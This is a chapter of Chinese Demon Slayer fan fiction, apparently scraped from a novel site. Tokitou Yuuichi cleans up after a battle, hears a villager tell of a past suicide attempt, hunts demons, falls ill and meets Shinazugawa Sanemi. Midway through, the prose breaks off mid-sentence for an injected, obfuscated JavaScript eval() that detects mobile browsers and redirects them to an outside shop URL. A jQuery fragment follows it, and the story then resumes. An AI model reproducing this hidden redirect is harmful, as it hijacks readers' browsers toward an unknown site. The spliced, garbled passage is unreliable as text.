默认冷灰
24号文字
方正启体

11. 第 11 章

作者:笛笙礼本书字数:K更新时间:
    任务已经完成,时透悠一却没有着急离开。


    正树最后的攻击波及范围太大。


    周围的农田被炸出几个深坑,临近的房屋被砸穿屋顶,万幸因为‘吃人农田’的流言,屋内没有人居住。


    隐部队赶来时,时透悠一正帮着虎太郎一起清理房屋周围的碎石。


    “那个......时透桑,善后的事情就让我们来做吧。”


    隐部位的后藤纠结说道。


    “哦,那你们一起来吧。”时透悠一扶着一个三轮推车,里头堆着不少碎石。


    虎太郎气喘吁吁地从屋子里运出碎石来。


    人本就瘦弱,此时颤颤巍巍地搬着一个脑袋那般大的碎石,仿佛下一秒就要给石块压垮了去。


    后藤欲言又止地看着他从自己身边走过。


    再转头看向时透悠一。


    他就这么施施然等在推车,直到虎太郎走到他跟前,才慢悠悠地用推车接一下。


    时透悠一:“哦,做得好。”


    语气平淡,完全听不出夸奖意味。


    虎太郎用衣袖擦掉满脸汗水,笑容里带着几分感激:“谢谢你,时透君,那我再去了。”


    说完,便踩着虚浮的脚步走开。


    “嗯好,我在这里等你。”穿着鬼杀队制服的少年悠悠地伸手,给推车中的石块翻个面,随后双手环胸,丝毫没有上前帮忙的意思,甚至还往隐部队这边多看两眼,眼神里带着显而易见的疑惑:


    你们怎么还在这里站着呢?


    后藤:“......”


    这是哪里来的人/渣?


    他额角一跳,尽量保持平和语气:“之后的事情我们会负责的,时透桑可不要耽误了任务。”


    “叫我时透就行了。”时透悠一说:“任务不着急,我等这边处理好再走。”


    下一个任务还没来,若是有,小晓早就来“嗒嗒嗒”地敲他脑袋了。


    后藤:“......这样啊,好的。”


    说完他带着隐部的人上前帮忙。


    时透悠一奇怪地瞥他一眼。


    这人怎么突然咬牙切齿的,谁惹他了?


    五分钟后,虎太郎一脸苦笑地从受损房屋中走出来,手里拿着一条崭新的白毛巾。


    “被赶出来了。”他说,声音里带着几分无奈的笑意,“他们和时透君你是一个组织的吗?跑得很快啊,力气也很大。”


    那块他怎么也搬不起来的石头,让他们单手就举起来了。


    虎太郎的眸光中闪过一丝羡慕。


    他看向时透悠一:“抱歉,是我一时兴起,还麻烦你留下来陪我。如果有急事,时透君就赶快出发吧。我能自己走回去的。”


    时透悠一先将推车中的碎石倒到统一处理的地方,回来后说:“不要紧,我答应了小仓阿姨去她家里吃顿饭再走,虎太郎也一起去吧。啊,叫我悠一就行。”


    虎太郎推辞不过,便跟着时透悠一一起去了。


    在小仓阿姨家里吃过饭,小晓带着下一个任务的消息飞来,翅膀一收,在时透悠一的发顶窝成一团黑色的绒球。


    若不是偶尔眨眨眼睛,真会让人以为这是个小鸟摆件。


    虎太郎致意要送时透悠一出村。


    路上,时透悠一看着他走几步就要停下来喘几口气的模样,不禁问道:“虎太郎,你之后......”


    “咳咳!见笑了。”虎太郎咳了两声,缓一缓后道:“我已经拜托小仓阿姨,请她帮我在镇里找找有没有算账之类,不费体力的差事。”


    “这场灾难终究是因我而起——”


    时透悠一皱皱眉,打断道:“不对,这件事真正该追究的是将正树变成鬼的家伙,不是你。”


    “我知道的,但村子里会消失这么多人,我身上有推卸不掉的责任。如果不是因为我......”


    虎太郎笑容苦涩,他张了张嘴,似乎想说些什么,但最终没说出口。


    徘徊在嘴边的话语被咽下,他定一定神,只说:“人不能复生,我也不知道能活多久,但只要我还在,我会定期攒钱给他们,就当赔罪。”


    也许是这天天气太好,阳光和煦得让人想要落泪;


    也许是清楚今日和时透悠一的这一别,极有可能是两人这辈子的最后一面。送行的路上,虎太郎絮絮叨叨地讲了很多他和正树以前的趣事。


    还讲到,前几个月的某日,他本打算趁着正树外出时服药自杀的。一切都准备好,偏偏那天,一向天黑才回来的正树忽地提早回来。


    虎太郎的药被他没收了。


    说这些的时候,他的声音很平静,像是在讲述别人的故事。


    时透悠一安静听着,什么话也没有说。


    兄弟之间的事情,哪里是他一个外人能说道的。


    -


    告别虎太郎之后,时透悠一继续前往四处杀鬼。


    小晓是一只很有野心的鎹鸦。


    它会在抵达任务地点时第一时间飞出去,帮他查勘地形和环境。


    会在他和鬼打斗时,留心观察随时有可能出现的暗攻或偷袭,并在鬼趁其不备的时候,冲上去狠狠地叼鬼一下。


    时透悠一的云之呼吸也在一次次杀鬼的实践中不断改进,一挥一砍间行云流水。


    他和小晓的配合也越来越默契。


    可即便是这样,他却还是救不下来所有人。


    最让他难受的一次,只相差一分钟。


    若是他路上跑得更快一些,早一分钟赶到这里,这家人就不会遭难。


    那是一对老夫妻,死前紧紧地将孙女抱在怀里,祈求能靠自己的身体保护住她。


    可最终,却是一家人一起上了路。


    鲜血从屋内流出,顺着门口的台阶淌下,长着尖牙的鬼肆意地埋头啃食,连日轮刀已经架上脖子都没发现。


    那天,时透悠一第一次没控制住自己的脾气,冲着鬼的身体泄愤似的砍下一刀又一刀,直到砍成肉/块,才终于一刀碾断鬼的脖子。


    他漠然甩掉日轮刀上的血滴,居高临下地看着鬼因恐惧颤抖不止的眼珠:


    “让你饱餐了一顿才上路,是我的错。”


    鬼消散很久后,时透悠一才后知后觉地感受到从头顶传来的钝痛和“笃笃笃”的声音。


    “小晓。”


    “笃笃笃”的声音停下了。


    时透悠一注视着渐渐亮起的天色,右臂微微发颤,肌肉和血管持续紧缩,过去很久才平息:


    “你原来是啄木鸟吗。可我的头也不是树啊。”


    窝在他头顶的小身体顿一顿。


    “笃笃笃笃笃笃笃笃笃——”


    “啊!我知道了,别啄了,好痛啊小晓。”


    这天之后,时透悠一不敢再在路上耽搁一分一秒,在体力允许的情况下,他恨不得跑着赶路。


    这样子前进,的确效率很高,但时透悠一彻底失去了休息的时间。


    最后酿成的结果是,时透悠一在一次雨夜后发起高烧。


    小晓在他身边绕来转去,翅膀扑棱得飞快,鸟喙啄得都要起火了,嚷嚷着要飞去景信山给爸爸妈妈弟弟们告状,才让时透悠一打消把手头任务完成了再去紫藤花之屋的打算。


    加入鬼杀队以来,时透悠一没少去紫藤花之屋,但这么安静的还是头一回。


    这所屋子坐落在街角的隐蔽处,面积不大。


    听带他进来的小女孩说,这所紫藤花之屋是近段时间才筹备起来的,碍于时间紧,只将家


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17496608|202538||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    中原先空余的屋子改造了出来。人员上,只有她、妈妈和外婆三人。


    女孩介绍一通,突然问道:“时透先生身上可有外伤?”


    说着,她耐不住朝一个方向频频看去。


    “有急事吗?”时透悠一善解人意地说:“我没有受伤,有事你就先去忙吧。”


    女孩自是欣喜,刚要点头,一只戴着紫色蝴蝶结的乌鸦从天而降,落在她脸前。


    “撒谎撒谎!悠悠发烧了!高烧!”


    女孩被吓得正要尖叫,猝不及防听到了乌鸦说的话,两层惊吓的促使下让她弹簧似的噌一下抬起头。


    “您发烧了?!”她立刻观察时透悠一的脸色。


    时透悠一两手一合,熟练地抓住小晓,无奈道:“是有一点,但不是高烧。晚些请医生来看下就行。”


    女孩纠结好一会儿,她猛然鞠一躬:“非常抱歉!”


    “今天来了一位非常不听劝的客人,外婆和妈妈都去对付他了。那个,我现在带您去房间,稍后就去请医生过来。”


    时透悠一听着女孩的话,忍不住失笑。


    听听这用词,‘对付’。


    到底是多难搞才能用上这个词啊。


    房间收拾得很干净,用具也十分齐全。


    小女孩嘴上说着忙不过来,但没一会儿,被褥、食物、清洗用具全都备齐送过来了。


    再过一会儿,一位满头大汗的医生被女孩带着走来。


    “是有些烧,多半是风寒,先给你开几天药,顺便养养身上的旧伤吧。”


    医生说着,一边收拾东西,一边拿出手帕擦拭额头上的汗,一脸劫后余生的模样。


    时透悠一:“...医生啊,那个您没事吧。”


    医生摆摆手,叹气道:“没事。就是碰到一位气势非常不一般的病人,不肯包扎也不听医嘱,真是......”


    女孩站在门外檐廊上,点头如捣蒜。


    听他们说的,时透悠一还真想认识认识这位气势不一般的鬼杀队队员。


    但小晓盯得可紧,小眼睛瞪得老大。时透悠一只好先吃药休息。


    等一觉醒来,外头的天色已经全黑了。


    晚饭还没送来,时透悠一推开障子门,打算去外面透透气。


    然而门一开,就看到了坐在檐廊上穿戴整齐、拎着日轮刀即将出发的不死川实弥。


    两人冷不丁地看到对方都是一愣。


    同样的一套鬼杀队制服被不死川实弥穿得平添几分色气。


    他衣领大敞开,露出里头裹满绷带的胸膛。


    时透悠一视线瞥过,不难想象如果把这些绷带全解开时会是什么样的景象。


    他决定收回刚刚‘穿戴整齐’的评价。


    除了胸膛处,不死川实弥露出的胳膊上也能看到明显的绷带影子,整个人身上更是弥漫着挥之不去的药味。


    不死川实弥眼神锐利地上下打量时透悠一一眼:“你也在这里。”


    时透悠一问好:“晚上好,不死川桑,不在这里吃晚饭吗?”


    不死川实弥:“不了,我还有任务。”


    说着,他便站起身。


    “不、不行!”女孩子的声音打断两人的谈话。


    女孩叫大桥里佳,白天也正是她给时透悠一安排房间、叫来医生。


    小里佳瑟缩地躲在障子门后头只露出半个脑袋。她不敢抬头往两人方向看,只敢用嗓门壮胆:


    “医生说了!不死川桑要静养至少三天,等伤口开始愈合了才能离开!要、要听医嘱!!”


    时透悠一:“......”


    他眼神复杂地看向不死川实弥。


    原来那位气势惊人、不听医嘱的队员,就是你啊,不死川桑。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)